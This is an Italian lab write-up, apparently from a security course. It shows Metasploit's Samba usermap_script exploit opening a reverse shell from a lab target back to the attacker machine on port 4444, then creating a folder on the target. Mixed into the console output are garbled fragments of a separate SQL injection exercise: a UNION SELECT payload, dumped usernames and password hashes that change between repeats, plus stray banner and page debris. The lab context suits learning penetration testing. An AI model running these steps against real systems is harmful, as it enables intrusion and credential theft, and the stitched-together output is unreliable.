

Utilizzo di Metasploit Per sfruttare exploit

Come obiettivo di questa esercitazione abbiamo il compito di utilizzare metasploit, precisamente la versione open source che ci mette a disposizione una vasta gamma di exploit, payloads, auxiliary ecc... per eseguire un attacco che ci permetta di avere una shell e creare una cartella chiamata “test_metasploit” sulla macchina target.

Esecuzione di Metasploit sulla Macchina Attaccante

Per prima cosa accedendo al terminale della macchina attaccante (kali) andremo ad avviare metasploit attraverso il comando “msfconsole”:

```
(root@kali)~# msfconsole
```

Metasploit tip: Set the current module's RHOSTS with database values
using hosts -R or services -R

User ID: [] Submit

ip: 1 UNION SELECT user, password FROM users#
e: admin
admin
vMMM\$ action vMMM
jMMMM ION SELECT user, password FROM users#
e: admin
5f4dccc3b5aa765d61d8327deb882cf99
jMMMM ION SELECT user, password FROM users#
e: gordonb
99a18c428cb38d5f260853678922e03
jMMMM ION SELECT user, password FROM users#
e: 1337
.dMMMM d3533d75ae2c3966d7e0d4fcc69216b
dMMMM dMMMM
ION SELECT user, password FROM users#
e: pablo
9d107d09f5bbe40cade3de5c71e9e9b7
eMMMMNNNNMMNM
ION SELECT user, password FROM users#
e: smithy
5f4dccc3b5aa765d61d8327deb882cf99

CSP Bypass

JavaScript Attacks

```
[ metasploit v6.4.116-dev ]  
+---+ [ 2,623 exploits - 1,326 auxiliary - 1,710 payloads ]  
+-- -- [ 432 post - 49 encoders - 14 nops - 10 evasion ]
```

Open HT

Metasploit Documentation: <https://docs.metasploit.com/>

The Metasploit Framework is a Rapid7 Open Source Project

Successivamente dato che la versione installata è molto recente non è stato possibile eseguire l'exploit dell'esercizio ormai obsoleto e rimosso per cui è stato deciso un altro exploit che ci permette di eseguire e completare il medesimo obiettivo ovvero una vulnerabilità che sfrutta il servizio samba e attua una reverse shell per il controllo totale della macchina target (per questioni di velocità l'ip target rimarrà quello configurato in precedenza "192.168.50.101")

```
msf > search exploit/multi/samba/

Matching Modules
=====
#  Name
--  --
0  exploit/multi/samba/usermap_script
1  exploit/multi/samba/nttrans

Disclosure Date  Rank  ROM  user  Check  Description
-----
2007-05-14  ade3de  excellent  No  Samba "username map script" Comm
2003-04-07  average  No  Samba 2.2.2 - 2.2.6 nttrans Buff
```

Scegliamo il numero “1” usando il comando “use” e iniziamo la configurazione con il comando “set” configurando come RHOST ovvero la macchina target l’ip 192.168.50.101:

```
msf > use 0
[*] No payload configured, defaulting to cmd/unix/reverse_netcat
msf exploit(multi/samba/usermap_script) > set RHOST 192.168.50.101
RHOST => 192.168.50.101
```

Per quanto riguarda la configurazione del payload ovvero del codice iniettato dopo essere entrati nella macchina target sfruttando la vulnerabilità, utilizziamo quello predefinito e migliore per questo tipo di vulnerabilità, successivamente utilizziamo il comando exploit per far partire l'attacco al servizio e sfruttare la vulnerabilità:

```
msf exploit(multi/samba/usermap_script) > exploit
[*] Started reverse TCP handler on 192.168.50.100:4444
[*] Command shell session 1 opened (192.168.50.100:4444 → 192.168.50.101:54879) at 2026-07-19 13:56:52 -0400
```

L'exploit come possiamo vedere è stato un successo e ci ha aperto una sessione

```
msf exploit(multi/samba/usermap_script) > exploit
[*] Started reverse TCP handler on 192.168.50.100:4444
[*] Command shell session 1 opened (192.168.50.100:4444 → 192.168.50.101:54879) at 2026-07-19 13:56:52 -0400

ls
bin
boot
cdrom
dev
etc (DOM)
home
initrd
initrd.img
lib
lost+found
media
mnt
nohup.out
opt
proc
root
sbin
srv
sys
tmp
usr
var

ID: 1* UNION SELECT user, password FROM users#
First name: 1237
Surname: 8d1513d75ae3c3986d7e9d4fcd921ab

ID: 1* UNION SELECT user, password FROM users#
First name: public
Surname: 8d107409f5bde40cad63bd6507109697

ID: 1* UNION SELECT user, password FROM users#
First name: admin
Surname: 5f40c1325ae765db1d83274eb802c490
```

Come possiamo vedere utilizzando il comando `ls` possiamo visualizzare le directory e file della macchina target, in questo caso ci basterà utilizzare il comando “`mkdir test_metasploit`” per completare l’esercizio :

<pre> ls ftp word injection msfadmin service user enumeration cd .. ls Upload bin /usr/share/CAPTCHA boot cdrom dev etc /binjection (Blind) home /usr/share/ids initrd initrd.img lib lost+found media /usr mnt nohup.out opt /usr/share/Script Attacks proc root /usr/share/OS Bypass sbin srv /usr/share/HTTP Redirect sys test_metasploit tmp usr var vmlinuz </pre>	<pre> First name: admin Surname: admin ID: 1' UNION SELECT user, password FROM users# First name: admin Surname: 5f4dc03b5aa765d61d6327deb882c799 ID: 1' UNION SELECT user, password FROM users# First name: gardenb Surname: 69fa18c433cb38d5f260853e78922e03 ID: 1' UNION SELECT user, password FROM users# First name: 1337 Surname: 8d3533d75ae2c396647e8041cc692186 ID: 1' UNION SELECT user, password FROM users# First name: pablo Surname: 6d187d89f5bbe48cade3de5c71e9e9b7 ID: 1' UNION SELECT user, password FROM users# First name: walthy Surname: 5f4dc03b5aa765d61d6327deb882c799 </pre>
---	--

Come possiamo vedere siamo riusciti a sfruttare tramite metasploit la vulnerabilità e creare una cartella tramite un shell, completando così l'esercizio!